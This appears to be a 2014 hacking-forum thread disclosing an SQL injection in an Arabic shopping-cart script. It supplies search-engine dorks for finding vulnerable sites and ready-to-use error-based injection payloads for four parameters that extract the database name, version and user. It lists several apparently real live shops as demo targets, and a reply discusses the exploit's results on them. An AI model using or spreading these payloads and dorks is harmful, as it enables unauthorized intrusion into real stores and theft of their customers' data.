

Forum:[Hack Forums](#)

Thread: [uaepd script - Multiple Sql Injection Vulnerabilty](#)

hack0back - January 5, 2014, 4:57 pm

hello guys,
this vulnerability is from me and my friend and its Oday

uaepd script - Multiple Sql Injection Vulnerabilty

=====

```
#####
... Author      : AtT4CKxT3rR0r1ST - HackXBack
... Contact     : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
... Home       : http://www.iphobos.com/blog/
... Script      : http://www.uaepd.net/
... Dork        : [1]inurl:"products.php?cat_id=" "Powered by: PD "
[2]inurl:"products.php?p_id" "Powered by: PD "
[3]inurl:"page.php?id=" "Powered by: PD "
[4]inurl:"news.php?id=" "Powered by: PD "
#####
```

I. INTORUCTION

uaepd script is arabic Shopping Cart Script and have many Features

II. DESCRIPTION

- #Control Panel provides an Arabic or English.
- #View the store for the visitor in Arabic and English.
- #Possibility to choose one language or operating languages.
- #The ability to add unlimited number of pages.
- #Format property provides all store pages.
- #Add YouTube links and images in all the pages of the store.
- #The ability to add sections of main and sub.
- #Add an unlimited number of products.
- #Add multiple images of the products.
- #Availability of property sizes and colors for each product.
- #Print logo on the product images automatically.
- #Availability of property with a shipping price for each region.
- #Buy products shopping cart system.
- #You can ask system of members with or without system.
- #Three ways to pay:(bank transfer-Receipt & received-Paypal).
- #Send an e-mail automatically to any purchase or booking.
- #Provide a search feature in the products.
- #Availability of the currencies of the property.
- #Comprehensive statistics for the purchases and reservations.
- #Guestbook available partition.
- #Provide property advertising space multiple places.
- #Property provides the tape device.

#Offers the possibility to close or open the store.

III. TYPE BUG

Sql injection (command double query)

IV. BUG

site/products.php?cat_id=[sql injection]
site/products.php?p_id=[sql injection]
site/page.php?id=[sql injection]
site/news.php?id=[sql injection]

VII. EXPLOIT

TO EXTRACT VERSION & NAME & USER DATABASE:

site/products.php?cat_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
site/products.php?p_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
site/page.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
site/news.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

DEMOS:

http://sedenshop.com/products.php?p_id=3
http://www.henna.ae/products.php?cat_id=1
<http://www.shah-een.com/news.php?id=1>
http://www.nourita.com/products.php?cat_id=4

#####[/code]

Kim Jong-Ileest - January 5, 2014, 6:06 pm

Exploit does not work, admin's password on all sites is just admin (in base64). All other users work however, but that is useless in itself.